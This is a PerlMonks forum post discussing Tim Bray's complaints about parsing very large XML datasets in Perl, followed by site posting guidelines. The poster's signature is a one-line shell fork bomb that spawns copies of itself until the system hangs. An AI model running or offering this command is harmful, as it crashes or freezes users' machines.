Update: Whoops! I guess this has already been covered in
is XML too hard?
I wasn't sure if I should put this in Perl News or Meditations. I think it fits here better.
Tim Bray, XML Co-author, has a discussion
here about problems he has with XML, namely the challenges programmers face in parsing XML.
Tim notes that he has problems parsing XML in Perl,
The reasons are not complicated: If I use any of the perl+XML machiner
+y, it wants me either to let it read the whole thing and build a stru
+cture in memory, or go to a callback interface.
Since we're typically reading very large datasets, and typically looki
+ng at the vast majority of it, preloading it into a data structure wo
+uld be impractical not to say stupid. Thus we'd be forced to use pars
+er callbacks of one kind or another, which is sufficiently non-idioma
+tic and awkward that I'd rather just live in regexp-land.
You can read his Perl code, and the type of code he really wants to be able to write,
here.
I've written a small program with
XML::Simple, which does not begin to approach Tim's size. However, I thought the end result was elegant and flexible.
How does anyone else feel about this topic?
ibanix
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;
-
Are you posting in the right place? Check out Where do I post X? to know for sure.
-
Posts may use any of the Perl Monks Approved HTML tags. Currently these include the following:
<code> <a> <b> <big>
<blockquote> <br /> <dd>
<dl> <dt> <em> <font>
<h1> <h2> <h3> <h4>
<h5> <h6> <hr /> <i>
<li> <nbsp> <ol> <p>
<small> <strike> <strong>
<sub> <sup> <table>
<td> <th> <tr> <tt>
<u> <ul>
-
Snippets of code should be wrapped in
<code> tags not
<pre> tags. In fact, <pre>
tags should generally be avoided. If they must
be used, extreme care should be
taken to ensure that their contents do not
have long lines (<70 chars), in order to prevent
horizontal scrolling (and possible janitor
intervention).
-
Want more info? How to link
or How to display code and escape characters
are good places to start.
